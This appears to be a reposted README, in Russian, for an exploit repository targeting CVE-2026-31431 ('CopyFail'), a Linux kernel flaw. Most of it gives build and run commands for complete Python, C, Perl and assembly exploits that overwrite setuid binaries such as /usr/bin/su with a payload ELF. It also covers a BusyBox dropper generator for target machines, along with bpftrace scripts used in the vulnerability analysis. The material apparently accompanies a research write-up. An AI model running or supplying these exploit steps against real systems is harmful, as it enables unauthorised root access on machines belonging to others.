## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4XURA-CVE-2026-31431-COPY-FAIL
# CVE-2026-31431: Когда копия — не копия, а отказ приходит слишком поздно
Артефакты и скрипты для статьи CopyFail.
Подробное описание:
* https://4xura.com/binex/kernel/copy-fail/
## Структура
* `proof-of-concept/` содержит демонстрации только с примитивами, использованные в статье.
* `exploit-scripts/` содержит полные реализации эксплойтов на Python, C, Perl и ассемблере x86_64.
* `bpftrace-scripts/` содержит небольшие вспомогательные скрипты для трассировки, использованные при анализе времени выполнения.
## Предварительные требования
Только артефакты на Perl, ассемблере и BusyBox ожидают внешний замещающий ELF. В примерах ниже этот файл называется `payload.pwnkit.elf`, но подойдёт любое имя файла.
Этот исполняемый файл не создаётся внутри данного репозитория. Сначала соберите его, следуя инструкции по сборке из статьи, затем поместите полученный ELF в ту же рабочую директорию, где находится запускаемый артефакт.
Примитивные PoC и драйверы эксплойтов на Python и C готовы к запуску без дополнительных действий.
## 1\. Примитивные PoC
Эти PoC в основном предназначены для демонстрации в статье. Они показывают примитив перезаписи изолированно, а не полный рабочий процесс замены исполняемого файла.
Чтобы запустить демонстрацию на Python, перейдите в директорию PoC и выполните скрипт:
root@kitploit:~
cd proof-of-concept
python3 copyfail_poc.py
Чтобы запустить демонстрацию на C, сначала соберите её, а затем выполните полученный бинарный файл:
root@kitploit:~
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
## 2\. Эксплойт на Python
Эксплойт на Python является самодостаточным и хранит замещающие байты прямо в скрипте.
Перейдите в директорию эксплойта и запустите с путём к цели по умолчанию:
root@kitploit:~
cd exploit-scripts
python3 exploit.py
Если нужен другой базовый путь цели, передайте его первым аргументом. Чтобы включить логи перезаписи по частям, установите `DEBUG=1`:
root@kitploit:~
python3 exploit.py su
DEBUG=1 python3 exploit.py su
## 3\. Эксплойт на C
Эксплойт на C также является самодостаточным. Если вы хотите использовать другую замену, сначала отредактируйте `PAYLOAD_BYTES` в `exploit-scripts/exploit.c`.
Соберите статический (опционально) бинарный файл следующим образом:
root@kitploit:~
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Затем запустите с целью по умолчанию или передайте другой базовый путь. Отладка через `DEBUG=1`:
root@kitploit:~
./exploit
./exploit su
DEBUG=1 ./exploit su
## 4\. Эксплойт на Perl
Эта версия читает внешний ELF-файл с полезной нагрузкой вместо встраивания замещающих байтов в скрипт.
Запускайте из директории эксплойтов. Если не указаны дополнительные аргументы, используются цель и путь к полезной нагрузке по умолчанию:
root@kitploit:~
cd exploit-scripts
perl exploit.pl
Если нужно явно указать и путь к цели, и путь к ELF-файлу, передайте их как аргументы. Отладка также управляется через `DEBUG=1`:
root@kitploit:~
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
## 5\. Эксплойт на ассемблере
Эта версия также использует внешний ELF-файл с полезной нагрузкой. В примере ниже он называется `payload.pwnkit.elf`, но можно использовать любое имя. Если вы его переименовали, обновите строку `incbin` в `exploit-scripts/exploit.asm` соответствующим образом.
Соберите драйвер на ассемблере с помощью `nasm` и `ld`:
root@kitploit:~
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Затем запустите с целью по умолчанию или передайте полный путь к цели:
root@kitploit:~
./exploit_asm
./exploit_asm /usr/bin/su
## 6\. Установщик BusyBox
Этот скрипт упаковывает драйвер на ассемблере и внешний ELF-файл полезной нагрузки в один совместимый с BusyBox раннер. В примере ниже используется `payload.pwnkit.elf`, но подойдёт любой файл, если вы передадите тот же путь упаковщику.
Сгенерируйте установщик из директории эксплойтов:
root@kitploit:~
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
На целевой системе запустите сгенерированный скрипт с помощью BusyBox `sh`:
root@kitploit:~
busybox sh ./copyfail-busybox.sh /usr/bin/su
## 7\. Вспомогательные скрипты Bpftrace
Перед запуском вспомогательных скриптов трассировки проверьте наличие нужных символов:
root@kitploit:~
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Чтобы наблюдать за попаданием файловых страниц в путь splice, выполните:
root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Чтобы наблюдать за данными, передаваемыми через канал в `AF_ALG`, выполните:
root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Чтобы наблюдать за уязвимым обратным вызовом дешифрования `authencesn`, выполните:
root@kitploit:~
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt